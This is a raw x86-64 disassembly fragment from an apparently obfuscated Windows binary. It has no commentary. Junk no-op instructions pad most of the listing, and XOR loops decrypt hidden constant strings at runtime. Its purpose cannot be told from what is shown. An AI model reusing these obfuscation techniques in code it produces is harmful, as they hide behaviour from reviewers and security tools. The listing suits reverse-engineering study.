xor al, 0x3a
lea rcx, [rsp + 0xdb0]
mov rdx, qword [rcx]
lea r9, [rsp + 0x250]
mov qword [r9], rdx
mov byte [r9 + 8], al
mov qword [rsp + 0x20], 9
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.140040abe
lea rax, [0x14005c93b]
lea rsi, [rsp + 0xc0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x432e0f3afe77a2ca
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.140006e81
and qword [rsi], 0
mov r9b, 1
xor ecx, ecx
lea rdx, [0x14004adce]
movabs r8, 0x8b00000000000000
test r9b, 1
je 0x14000f989
movzx r10d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 3
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 4
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 5
movzx ebx, byte [rbx + rdx]
mov r14, rcx
or r14, 6
movzx r14d, byte [r14 + rdx]
shl r14, 0x30
shl rbx, 0x28
shl rdi, 0x20
shl rsi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rsi
or r9, rdi
or r9, rbx
add r9, r8
or r9, r14
xor r9, qword [rax + rcx]
mov qword [rsp + rcx + 0xc0], r9
mov ecx, 8
xor r9d, r9d
jmp 0x14000f8ef
lea r9, [rsp + 0xc0]
mov rax, qword [r9]
mov qword [r9], rax
lea rsi, [rsp + 0xca0]
mov edi, 8
mov qword [rsp + 0x20], rdi
mov rcx, rsi
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.140040abe
lea rax, [rsp + 0x592]
movups xmm0, xmmword [rax - 2]
movups xmm1, xmmword [rax + 0xe]
movaps xmmword [rsi - 0x50], xmm1
movaps xmmword [rsi - 0x60], xmm0
movups xmm0, xmmword [rsp + 0x1e960]
movups xmm1, xmmword [rsp + 0x1e970]
movaps xmmword [rsi - 0x40], xmm0
movaps xmmword [rsi - 0x30], xmm1
lea r14, [rsp + 0xdb0]
movdqu xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movdqa xmmword [rsi - 0x20], xmm0
movaps xmmword [rsi - 0x10], xmm1
nop
or rax, rax
or rax, rax
sub rax, 0
mov rax, rax
nop
nop
add rax, 0
nop
sub rax, 0
nop
add rax, 0
or rax, 0
or rax, rax
or rax, 0
or rax, 0
mov rax, rax
or rax, rax
add rax, 0
mov rax, rax
or rax, 0
or rax, 0
or rax, 0
nop
mov rax, rax
mov rax, rax
lea rax, [rsp + 0x340]
mov qword [rax], rdi
pxor xmm0, xmm0
movdqu xmmword [rax + 8], xmm0
nop
sub rax, 0
xor rax, 0
or rax, 0
or rax, rax
mov rax, rax
nop
sub rax, 0
nop
mov rax, rax
sub rax, 0
sub rax, 0
nop
xor rax, 0
xor rax, 0
nop
add rax, 0
mov rax, rax
mov rax, rax
lea r12, [rsp + 0x470]
mov qword [r12], rdi
movdqu xmmword [r12 + 8], xmm0
or rax, 0
nop
add rax, 0
xor rax, 0
nop
nop
or rax, 0
nop
or rax, 0
add rax, 0
xor rax, 0
nop
or rax, 0
nop
sub rax, 0
nop
nop
add rax, 0
or rax, 0
or rax, 0
xor rax, 0
add rax, 0
or rax, rax
xor eax, eax
movabs rbx, 0xacb737194c99a027
xor edi, edi
cmp al, 0x1a
adc dil, 0
cmp al, 0x1a
jae 0x14000fee1
add rcx, 0
or rcx, rcx
mov rcx, rcx
or rcx, 0
or rcx, rcx
xor rcx, 0
add rcx, 0
mov rcx, rcx
add al, 0x41
movzx edx, al
mov rcx, r14
call fcn.140002f21
lea rax, [0x14005f4c9]
mov qword [rsp + 0x1e960], rax
lea rax, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
mov qword [rsp + 0x1e960], rbx
mov rdx, qword [rsp + 0x1e960]
call fcn.140006a53
movzx eax, word [rax]
xor eax, 0x1624
mov word [rsp + 0x590], ax
mov rcx, r14
lea rdx, [rsp + 0x590]
lea r8, [rsp + 0x592]
call fcn.14001b1d4
mov rsi, qword [rsp + 0xdb0]
mov rbp, qword [rsp + 0xdb8]
mov r15, qword [rsp + 0xdc0]
xor rax, 0
xor rax, 0
nop
mov rax, rax
sub rax, 0
xor rax, 0
nop
mov rax, rax
or rax, 0
mov rcx, r14
mov rdx, rsi
mov r8, r15
call fcn.140041157
cmp dword [rsp + 0xdb0], 2
jne 0x14000fbf9
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x1e968], rax
mov al, 1
jmp 0x14000fc15
mov ecx, dword [rsp + 0xdf0]
mov edx, dword [rsp + 0xdf4]
call fcn.1400408f2
mov byte [rsp + 0x1e961], al
xor eax, eax
mov byte [rsp + 0x1e960], al
lea rcx, [rsp + 0x1e960]
call fcn.1400414ad
test al, al
je 0x14000fecf
sub rax, 0
sub rax, 0
add rax, 0
mov rax, rax
or rax, 0
mov rax, rax
add rax, 0
xor rax, 0
sub rax, 0
xor rax, 0
nop
add rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
or rax, rax
or rax, 0
mov rax, rax
or rax, rax
sub rax, 0
nop
xor rax, 0
mov rcx, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x468]
mov r8, rsi
mov r9, r15
call fcn.14003b675
add rcx, 0
test al, al
je 0x14000fdaf
mov rax, rax
or rax, rax
nop
mov rax, rax
nop
mov rax, rax
or rax, rax
or rax, rax
or rax, 0
xor rax, 0
or rax, rax
sub rax, 0
add rax, 0
add rax, 0
nop
add rax, 0
nop
sub rax, 0
nop
sub rax, 0
xor rax, 0
nop
add rax, 0
nop
nop
or rax, rax
add rax, 0
cmp qword [rsp + 0x88], 0
je 0x14000fe61
sub rax, 0
or rax, rax
nop
add rax, 0
or rax, rax
or rax, rax
add rax, 0
or rax, rax
nop
nop
add rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
xor r15d, r15d
cmp r15, 0x80
je 0x14000fe61
mov rax, rax
sub rax, 0
mov rax, rax
add rax, 0
sub rax, 0
nop
or rax, rax
add rax, 0
nop
sub rax, 0
nop
or rax, rax
or rax, 0
xor rax, 0
nop
mov rax, rax
xor rax, 0
or rax, 0
mov rax, rax
nop
mov rdx, qword [rsp + r15 + 0xc40]
mov r8, qword [rsp + r15 + 0xc50]
mov qword [rsp + 0x20], r13
mov rcx, r14
mov r9, qword [rsp + 0x2d0]
call fcn.14000b40d
mov rcx, r12
mov rdx, r14
call fcn.140009756
add r15, 0x20
jmp 0x14000fd31
nop
mov rax, rax
sub rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
nop
add rax, 0
mov rax, rax
sub rax, 0
nop
nop
nop
mov rax, rax
or rax, 0
nop
add rax, 0
or rax, rax
sub rax, 0
or rax, 0
mov rax, rax
nop
or rax, rax
or rax, 0
add rax, 0
sub rax, 0
xor rax, 0
or rax, rax
mov rax, rax
add rax, 0
nop
nop
sub rax, 0
add rax, 0
sub rax, 0
xor rax, 0
or rax, 0
xor rax, 0
sub rax, 0
nop
or rax, rax
mov rax, rax
mov rax, rax
or rax, rax
xor rax, 0
or rax, 0
nop
mov r9, qword [rsp + 0x328]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rsi
mov r8, r15
jmp 0x14000feba
nop
nop
sub rax, 0
nop
xor rax, 0
mov rax, rax
sub rax, 0
or rax, 0
or rax, 0
add rax, 0
nop
add rax, 0
xor rax, 0
xor rax, 0
or rax, rax
nop
nop
or rax, 0
mov r9, qword [rsp + 0x328]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.14000b40d
lea rcx, [rsp + 0x340]
mov rdx, r14
call fcn.140009756
mov rcx, rsi
mov rdx, rbp
call fcn.14001b4c0
mov eax, edi
jmp 0x14000fb06
nop
nop
sub rax, 0
or rax, rax
or rax, 0
or rax, 0
sub rax, 0
xor rax, 0
nop
nop
sub rax, 0
nop
nop
add rax, 0
or rax, 0
mov rax, rax
mov rax, rax
or rax, rax
mov r9, qword [rsp + 0x228]
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x20], rax
lea rdi, [rsp + 0xbf0]
mov rcx, rdi
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x48]
call fcn.140040abe
nop
nop
xor rax, 0
xor rax, 0
mov rax, rax
nop
xor rax, 0
xor rax, 0
or rax, 0
nop
or rax, 0
add rax, 0
nop
add rax, 0
nop
nop
add rax, 0
mov rsi, qword [rdi]
mov rdx, qword [rdi + 0x10]
mov rcx, rsi
call fcn.140002dac
test rax, rax
je 0x14001773a
mov r13, rax
or rax, 0
add rax, 0
nop
nop
nop
add rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
cmp qword [rsp + 0x350], 0
je 0x1400104b3
mov r12, rdx
xor rax, 0
nop
add rax, 0
sub rax, 0
or rax, rax
xor rax, 0
add rax, 0
xor rax, 0
or rax, rax
add rax, 0
nop
nop
mov rax, rax
mov rdi, qword [rsp + 0x470]
mov rbx, qword [rsp + 0x480]
call fcn.140035d00
mov rsi, rax
imul rax, rbx, 0x18
lea r14, [rax + rdi]
add r14, 0xffffffffffffffe8
mov rdx, rbx
cmp rdx, 2
jb 0x140010082
lea r15, [rdx - 1]
mov rcx, rsi
call fcn.140004270
cmp r15, rbx
jae 0x14001773a
cmp rax, rbx
jae 0x14001773a
imul rax, rax, 0x18
mov rcx, qword [r14 + 0x10]
mov qword [rsp + 0xdc0], rcx
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0xdb0], xmm0
mov rcx, qword [rdi + rax + 0x10]
movups xmm0, xmmword [rdi + rax]
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rcx
mov rcx, qword [rsp + 0xdc0]
mov qword [rdi + rax + 0x10], rcx
movdqa xmm0, xmmword [rsp + 0xdb0]
movdqu xmmword [rdi + rax], xmm0
add r14, 0xffffffffffffffe8
mov rdx, r15
jmp 0x14001000d
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], r12
mov rcx, rsi
call fcn.140035193
xor rax, 0
nop
or rax, rax
or rax, 0
mov rax, rax
or rax, 0
call fcn.1400077a6
movups xmm0, xmmword [0x14008bb30]
lea rcx, [rsp + 0x440]
movaps xmmword [rcx - 0x20], xmm0
movdqu xmm0, xmmword [0x14008bb40]
movdqa xmmword [rcx - 0x10], xmm0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
or rax, rax
add rax, 0
xor rax, 0
or rax, 0
or rax, 0
sub rax, 0
add rax, 0
add rax, 0
xor rax, 0
mov rax, rax
nop
or rax, rax
nop
nop
sub rax, 0
nop
mov rax, rax
or rax, rax
nop
or rax, rax
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x40], rax
lea rsi, [rsp + 0xdb0]
pcmpeqd xmm6, xmm6
xor r14d, r14d
cmp r14, qword [rsp + 0x40]
je 0x140010360
lea rax, [r14 + 1]
mov qword [rsp + 0x48], rax
nop
or rax, rax
or rax, rax
or rax, rax
add rax, 0
or rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
add rax, 0
add rax, 0
nop
add rax, 0
nop
mov ecx, 0x400000
mov edx, 1
call fcn.1400045f8
mov r8d, 0x400000
mov qword [rsp + 0x70], rax
mov rcx, rax
xor edx, edx
call sub.msvcrt.dll_memset
nop
sub rax, 0
nop
nop
mov rax, rax
or rax, 0
add rax, 0
mov rax, rax
nop
xor rax, 0
mov rcx, qword [rsp + 0x440]
mov rdx, qword [rsp + 0x448]
mov r8, r14
call fcn.1400097d9
mov rbp, qword [rsp + 0x420]
mov rbx, qword [rsp + 0x428]
mov rdi, rbx
and rdi, rax
mov qword [rsp + 0x68], rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
lea r15, [rbp - 0x10]
xor r12d, r12d
movdqu xmm8, xmmword [rbp + rdi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0xdb0], ax
mov rcx, rsi
call fcn.1400097bc
mov r13, rax
test rax, rax
je 0x14001024f
add rdx, rdi
and rdx, rbx
mov rax, rdx
shl rax, 4
mov rcx, r15
sub rcx, rax
cmp qword [rcx], r14
jne 0x140010225
jmp 0x140010271
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x140010329
add rdi, r12
add rdi, 0x10
add r12, 0x10
and rdi, rbx
jmp 0x140010209
neg rdx
shl rdx, 4
add rbp, rdx
mov rbx, rbp
mov rdi, r14
lea r14, [rsp + 0x420]
mov ecx, 0x38
mov edx, 8
call fcn.1400045f8
mov rbp, rax
and qword [rax + 0x10], 0
mov eax, 1
mov qword [rbp], rax
mov qword [rbp + 8], rax
mov byte [rbp + 0x18], 0
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x20], rax
mov eax, 0x400000
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rax
mov qword [rsp + 0xdb0], rbp
test r13, r13
je 0x1400102e6
mov rcx, rsi
call fcn.140002f4f
mov r14, qword [rsp + 0x48]
jmp 0x140010130
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, rbx
call fcn.1400099aa
mov rcx, qword [rdi]
shl rax, 4
mov r8, rcx
and dl, 1
neg dl
movsx rdx, dl
add qword [rdi + 0x10], rdx
sub r8, rax
neg rax
mov qword [rcx + rax - 0x10], r14
mov qword [r8 - 8], rbp
inc qword [rdi + 0x18]
mov r14, qword [rsp + 0x48]
jmp 0x140010130
cmp qword [rsp + 0x430], 0
je 0x140010346
lea rdi, [rsp + 0x420]
mov rbx, qword [rsp + 0x68]
jmp 0x140010289
lea rdi, [rsp + 0x420]
mov rcx, rdi
lea rdx, [rsp + 0x440]
call fcn.1400099de
jmp 0x14001033c
or rax, rax
mov rax, rax
mov rax, rax
nop
mov rax, rax
or rax, 0
nop
mov rbp, qword [rsp + 0x3b0]
cmp rbp, 1
mov r15, qword [rsp + 0x248]
mov r12, qword [rsp + 0x240]
jbe 0x14001077d
or rax, rax
nop
xor rax, 0
xor rax, 0
sub rax, 0
nop
xor rax, 0
nop
mov rax, rax
sub rax, 0
nop
mov rax, rax
nop
mov r13, qword [rsp + 0x3a0]
lea rax, [0x140068e94]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0xdeb99cacb7ff7e80
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.1400069db
and qword [rsp + 0xdb0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004add6]
test r8b, 1
je 0x140010502
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
mov ecx, 8
xor r8d, r8d
jmp 0x140010409
or rax, rax
or rax, rax
xor rax, 0
mov rax, rax
or rax, rax
nop
xor rax, 0
nop
sub rax, 0
nop
mov rax, rax
or rax, 0
nop
or rax, 0
nop
xor rax, 0
or rax, rax
nop
nop
mov rax, rax
add rax, 0
nop
sub rax, 0
nop
sub rax, 0
or rax, 0
add rax, 0
jmp 0x14001696e
mov al, byte [rax + 8]
xor al, 0x69
mov rcx, qword [rsp + 0xdb0]
lea r8, [rsp + 0x1e960]
mov qword [r8], rcx
mov byte [r8 + 8], al
mov rcx, qword [r13 + 0x18]
mov rdx, qword [r13 + 0x28]
mov r9d, 9
call fcn.140003563
test al, al
je 0x14001077d
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r13
or rax, 0
or rax, 0
xor rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
or rax, 0
mov rcx, r12
mov rdx, r15
call fcn.140041e8b
test al, al
je 0x140010b66
nop
or rax, rax
or rax, 0
nop
sub rax, 0
nop
nop
xor rax, 0
sub rax, 0
mov rax, rax
or rax, 0
xor rax, 0
nop
nop
xor rax, 0
add rax, 0
add rax, 0
add rax, 0
or rax, rax
mov rax, rax
or rax, 0
add rax, 0
or rax, 0
or rax, rax
xor rax, 0
mov rax, rax
nop
xor rax, 0
add rax, 0
nop
xor rax, 0
nop
nop
nop
xor rax, 0
nop
or rax, 0
or rax, 0
nop
add rax, 0
xor rax, 0
add rax, 0
nop
nop
mov rax, rax
nop
sub rax, 0
sub rax, 0
cmp qword [rsp + 0x88], 0
je 0x140012e4d
nop
or rax, rax
sub rax, 0
nop
mov rax, rax
sub rax, 0
nop
xor rax, 0
xor rax, 0
or rax, rax
add rax, 0
xor rax, 0
or rax, 0
nop
mov rbx, qword [rsp + 0xa0]
mov rcx, rbx
call fcn.14001b537
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, qword [rsp + 0x88]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], rdi
mov qword [rsp + 0xdc0], rbx
lea rax, [0x14006559c]
mov qword [rsp + 0x1e960], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0xa538af5882cfac66
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006939
and qword [rsp + 0x1e960], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140069193]
test r8b, 1
je 0x140011ec4
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x1e960], r8
mov ecx, 8
xor r8d, r8d
jmp 0x1400106d3
or rax, rax
nop
sub rax, 0
or rax, rax
add rax, 0
or rax, rax
add rax, 0
or rax, rax
nop
or rax, 0
or rax, rax
xor rax, 0
or rax, 0
mov rax, rax
or rax, 0
mov rax, rax
or rax, rax
or rax, rax
xor rax, 0
or rax, rax
nop
or rax, rax
or rax, 0
mov rcx, r12
mov rdx, r15
call fcn.140041e8b
xchg rcx, rcx
test al, al
je 0x140010831
mov rax, rax
sub rax, 0
nop
sub rax, 0
or rax, 0
add rax, 0
xor rax, 0
xor rax, 0
or rax, rax
nop
mov rax, rax
add rax, 0
xor rax, 0
nop
sub rax, 0
sub rax, 0
nop
nop
or rax, rax
or rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
xor rax, 0
or rax, rax
or rax, rax
add rax, 0
jmp 0x140016959
sub rax, 0
add rax, 0
add rax, 0
sub rax, 0
or rax, rax
nop
xor rax, 0
mov rax, rax
nop
or rax, 0
mov rax, rax
nop
or rax, 0
or rax, 0
nop
add rax, 0
mov rax, rax
add rax, 0
nop
xor rax, 0
add rax, 0
nop
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
or rax, rax
sub rax, 0
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x140011627
or rax, 0
add rax, 0
mov rax, rax
or rax, 0
nop
mov rax, rax
add rax, 0
xor rax, 0
add rax, 0
add rax, 0
or rax, 0
or rax, rax
nop
add rax, 0
or rax, rax
or rax, 0
add rax, 0
mov rbx, qword [rsp + 0xa0]
mov rcx, rbx
call fcn.14001b537
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], rdi
mov qword [rsp + 0xdc0], rbx
lea rax, [0x140067932]
mov qword [rsp + 0x1e960], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x2f7015ef6187ccb9
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006762
and word [rsp + 0x1e964], 0
and dword [rsp + 0x1e960], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x14004addf]
test r8b, 1
je 0x1400109c4
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x1e960], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14001096a
movzx eax, word [rax + 4]
xor eax, 0xdd53
lea r8, [rsp + 0x1e966]
mov ecx, dword [r8 - 6]
mov dword [r8 - 6], ecx
mov word [r8 - 2], ax
lea rsi, [rsp + 0xdb0]
lea rdx, [rsp + 0x1e960]
mov rcx, rsi
call fcn.14001b1d4
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0xd0], rax
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0xc0], xmm0
nop
or rax, rax
nop
nop
or rax, rax
mov rax, rax
nop
sub rax, 0
sub rax, 0
or rax, rax
or rax, rax
mov rax, rax
add rax, 0
or rax, 0
or rax, rax
nop
or rax, 0
add rax, 0
or rax, rax
mov rax, rax
add rax, 0
mov rax, rax
sub rax, 0
sub rax, 0
sub rax, 0
mov r14, qword [rsp + 0x350]
xor eax, eax
mov qword [rsp + 0xb8], rax
test r14, r14
je 0x140010d53
mov rdi, qword [rsp + 0x340]
imul rcx, r14, 0x18
lea rax, [rcx - 0x18]
mov r8d, 0x18
xor edx, edx
div r8
mov qword [rsp + 0x40], rax
mov rax, rdi
test rcx, rcx
je 0x140010ab9
mov rdx, qword [rax + 0x10]
add rax, 0x18
add rcx, 0xffffffffffffffe8
add qword [rsp + 0x40], rdx
jae 0x140010a9c
jmp 0x14001773a
xor ebx, ebx
mov r15, qword [rsp + 0x40]
mov rcx, r15
xor edx, edx
call fcn.14001b4ec
lea rsi, [rsp + 0xdb0]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
and qword [rsi + 0x10], 0
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
add r8, rdx
mov rcx, rsi
call fcn.14001b1d4
mov rcx, qword [rsi]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x50], rcx
add rcx, rax
mov rsi, r15
sub rsi, rax
imul r14, r14, 0x18
add r14, 0xffffffffffffffe8
cmp r14, rbx
je 0x140010b4c
test rsi, rsi
je 0x14001773a
mov rdx, qword [rdi + rbx + 0x18]
mov r8, qword [rdi + rbx + 0x28]
dec rsi
mov byte [rcx], 0xa
sub rsi, r8
jb 0x14001773a
lea r15, [rcx + r8]
inc r15
inc rcx
call sub.msvcrt.dll_memcpy
add rbx, 0x18
mov rcx, r15
jmp 0x140010b0d
sub qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x80], rax
jmp 0x140010d6e
nop
nop
add rax, 0
add rax, 0
nop
sub rax, 0
or rax, 0
mov rax, rax
xor rax, 0
mov rax, rax
or rax, 0
or rax, 0
or rax, rax
or rax, rax
nop
xor rax, 0
mov rax, rax
mov rax, rax
or rax, 0
sub rax, 0
xor rax, 0
nop
nop
or rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
or rax, 0
xor rax, 0
add rax, 0
nop
mov rax, rax
sub rax, 0
cmp qword [rsp + 0x88], 0
je 0x140012f90
or rax, rax
or rax, rax
nop
or rax, rax
sub rax, 0
sub rax, 0
nop
nop
add rax, 0
mov rax, rax
nop
or rax, 0
add rax, 0
xor rax, 0
mov rax, rax
mov rax, rax
nop
or rax, rax
mov rax, rax
add rax, 0
mov rbx, qword [rsp + 0xa0]
mov rcx, rbx
call fcn.14001b537
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, qword [rsp + 0x88]
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0xdb0], rsi
mov qword [rsp + 0xdb8], rdi
mov qword [rsp + 0xdc0], rbx
lea rax, [0x14005f319]
mov qword [rsp + 0x1e960], rax
lea rdx, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x8cda0410ca8b5967
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006bac
and qword [rsp + 0x1e960], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140069188]
test r8b, 1
je 0x1400120dd
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x1e960], r8
mov ecx, 8
xor r8d, r8d
jmp 0x140010ca9
xor eax, eax
mov qword [rsp + 0x80], rax
xor eax, eax
mov qword [rsp + 0x40], rax
mov eax, 1
mov qword [rsp + 0x50], rax
add rax, 0
xor rax, 0
nop
sub rax, 0
sub rax, 0
nop
sub rax, 0
add rax, 0
mov rax, rax
or rax, rax
add rax, 0
or rax, 0
add rax, 0
nop
nop
mov rax, rax
nop
add rax, 0
nop
sub rax, 0
nop
or rax, 0
or rax, 0
nop
or rax, 0
or rax, rax
add rax, 0
lea rbx, [0x14004a36e]
pxor xmm6, xmm6
lea r15, [0x14004a372]
lea r14, [rsp + 0x250]
mov rax, qword [rsp + 0xb8]
cmp eax, 5
je 0x14001132f
inc eax
mov qword [rsp + 0xb8], rax
or rax, 0
or rax, 0
add rax, 0
sub rax, 0
nop
nop
or rax, rax
or rax, 0
nop
nop
mov rax, rax
sub rax, 0
xor rax, 0
nop
or rax, rax
xor rax, 0
mov rax, rax
or rax, rax
xor rax, 0
or rax, 0
xor rax, 0
sub rax, 0
xor rax, 0
cmp qword [rsp + 0x40], 0
je 0x140011238
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x38], rax
mov r13, qword [rsp + 0x228]
mov rbp, qword [rsp + 0x238]
add rax, 0
add rax, 0
nop
or rax, rax
sub rax, 0
add rax, 0
xor edi, edi
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], rbp
cmp edi, 5
je 0x140011238
mov dword [rsp + 0x70], edi
add rax, 0
add rax, 0
nop
nop
or rax, 0
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x38]
call fcn.14000641b
lea rax, [0x140041b4e]
mov qword [rsp + 0x1e960], rax
lea rsi, [rsp + 0x1e960]
mov rcx, qword [rsp + 0x1e960]
movabs rax, 0x9914ef98a7b02a6c
mov qword [rsp + 0x1e960], rax
mov rdx, qword [rsp + 0x1e960]
call fcn.140006b29
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xbdbd
xor cl, 0x1e
mov byte [rsp + 0x2ea], cl
mov word [rsp + 0x2e8], ax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r13
mov r9d, 3
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x2e8]
call fcn.1400065df
lea rax, [0x14003b4e3]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x1a9f47bea7331bed
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006d3a
and dword [rsp + 0xdb0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140010fd0
movzx edx, byte [rcx + rbx]
mov r8, rcx
or r8, 1
